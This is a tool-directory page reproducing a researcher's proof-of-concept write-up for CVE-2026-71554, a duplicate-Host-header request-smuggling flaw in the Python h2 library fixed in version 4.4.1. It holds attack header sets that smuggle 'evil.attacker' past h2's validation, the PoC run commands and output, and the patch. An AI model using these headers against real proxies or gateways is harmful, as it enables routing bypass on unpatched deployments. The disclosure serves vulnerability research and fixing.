Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
poc-h2-CVE-2026-71554 — CVE-2026-71554 的 PoC - h2 重复 Host 标头请求走私原语(已在 4.4.1 中修复) | Kitploit
工具/GitHubGitHub/sunandm/poc-h2-cve-2026-71554
漏洞分析漏洞利用Web应用程序漏洞利用API安全测试Web安全API 安全对抗性攻击
GitHubsunandm/poc-h2-cve-2026-71554

poc-h2-CVE-2026-71554

CVE-2026-71554 的 PoC - h2 重复 Host 标头请求走私原语(已在 4.4.1 中修复)

查看仓库
112天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-71554 - h2 重复 Host 标头请求走私原语

这是我发现的第一个 CVE。我发布此 PoC 是为了记录该发现,并帮助其他人理解和复现它。

CVE: CVE-2026-71554 GHSA: GHSA-6hr6-w5qg-qmwg 受影响版本: h2 <= 4.4.0 已修复版本: h2 4.4.1 严重性: 中危 (CWE-444, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L = 5.3) NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-71554


我发现的问题

在审查 h2 的标头验证逻辑时,我注意到 src/h2/utilities.py 中的 _validate_host_authority_header() 会检查 Host 和 :authority 是否匹配——但只比较它看到的最后一个 Host 标头。如果你发送两个 Host 标头,h2 会使用第二个进行匹配检查,并将两个标头都转发给应用程序,而不会提出任何异议。

有趣的是,h2 4.4.0 已经会用 ProtocolError 拒绝重复的 Content-Length 标头。同样的修复从未应用于 Host。源码中甚至有一条 TODO 注释承认了这一确切差距:

root@kitploit:~
# TODO: We should also guard against receiving duplicate Host headers,
#       and against sending duplicate headers.

根本原因

src/h2/utilities.py 中的 _validate_host_authority_header() 使用后值优先(last-wins)的循环,记录最后看到的 Host 值,并且只检查:

  1. :authority 或 Host 至少存在一个
  2. 当两者同时存在时,它们匹配

它没有检查 Host 标头的数量。无论存在多少个 Host 标头,每个标头都会被向下传递到应用程序。


攻击场景

场景 1 — 两个 Host 标头,无 :authority

客户端发送:

root@kitploit:~
:method: GET
:path: /
:scheme: https
host: good.internal
host: evil.attacker

h2 接受两者。应用程序收到两个 Host 标头。

降级到 HTTP/1.1 后产生:

root@kitploit:~
GET / HTTP/1.1
host: good.internal
host: evil.attacker

RFC 9112 s3.2 要求服务器对任何包含多个 Host 标头的 HTTP/1.1 请求返回 400。后端的表现各不相同:

root@kitploit:~
nginx          — 拒绝并返回 400
Python stdlib  — 接受,查询时返回第一个 Host
Werkzeug       — 接受,查询时返回第一个 Host

场景 2 — 隐蔽走私(绕过 :authority)

客户端发送:

root@kitploit:~
:method: GET
:path: /
:scheme: https
:authority: good.internal
host: evil.attacker     <- 索引 0,第一个 Host(源站看到的值)
host: good.internal     <- 索引 1,最后一个 Host(h2 验证器使用的值)

h2 验证:最后一个 Host(good.internal)== :authority(good.internal)— 通过。

应用程序收到两个 Host 标头。降级到 HTTP/1.1 后产生:

root@kitploit:~
GET / HTTP/1.1
host: evil.attacker
host: good.internal

在单键查询时返回第一个 Host 的后端会将请求路由到 evil.attacker,而 h2 认为自己验证的是 good.internal。 h2 验证的内容与源站处理的内容之间出现完全的路由失步。


对照组 — 单个不匹配 Host 被正确拒绝

root@kitploit:~
:method: GET
:path: /
:scheme: https
:authority: good.internal
host: evil.attacker

h2 抛出 ProtocolError。这证实了该差距仅针对重复的 Host 标头。


可能受影响的场景

影响取决于部署架构:

  • 受影响:接受客户端 HTTP/2 并在向后端转发时降级为 HTTP/1.1 的反向代理或 API 网关,且后端使用第一个 Host 标头进行路由决策
  • 受影响的后端(经实证测试):Python stdlib http.client、Werkzeug Headers — 两者都接受重复的 Host 并返回第一个值
  • 不受影响的后端:nginx — 对重复 Host 拒绝并返回 400
  • 不受影响的部署:端到端 HTTP/2,无 HTTP/1.1 降级

复现步骤

环境要求

root@kitploit:~
pip install h2==4.4.0

运行

root@kitploit:~
python3 poc_h2_duplicate_host.py

在存在漏洞的 4.4.0 上的预期输出

root@kitploit:~
CASE 1 - Two Host headers, no :authority (both forwarded)
h2 forwarded Host headers: ['good.internal', 'evil.attacker']
Resulting HTTP/1.1 request:
GET / HTTP/1.1
host: good.internal
host: evil.attacker

CASE 2 - STEALTH: :authority matches LAST Host, first Host smuggled
:authority=['good.internal']  Host(s)=['evil.attacker', 'good.internal']
h2 mismatch check PASSES (:authority == last Host).
Resulting HTTP/1.1 request:
GET / HTTP/1.1
host: evil.attacker
host: good.internal

CONTROL - Single mismatched Host vs :authority (correctly rejected)
[control] SENDER rejected: ProtocolError(...)

在 4.4.1 上验证修复

root@kitploit:~
pip install h2==4.4.1
python3 poc_h2_duplicate_host.py

所有三个场景均抛出 ProtocolError。不会转发任何标头。


修复方案

在 _validate_host_authority_header() 的现有循环中添加一个计数器:

root@kitploit:~
host_header_count = 0
for header in headers:
    if header[0] == b"host":
        host_header_count += 1
    yield header

if host_header_count > 1:
    raise ProtocolError("Request header block has multiple Host headers.")

提交:https://github.com/python-hyper/h2/commit/292a40829feefda98c8509dcdbbb4a57af9bd6a6


致谢

发现并报告:Sunand Mohan (https://github.com/SunandM)

下载工具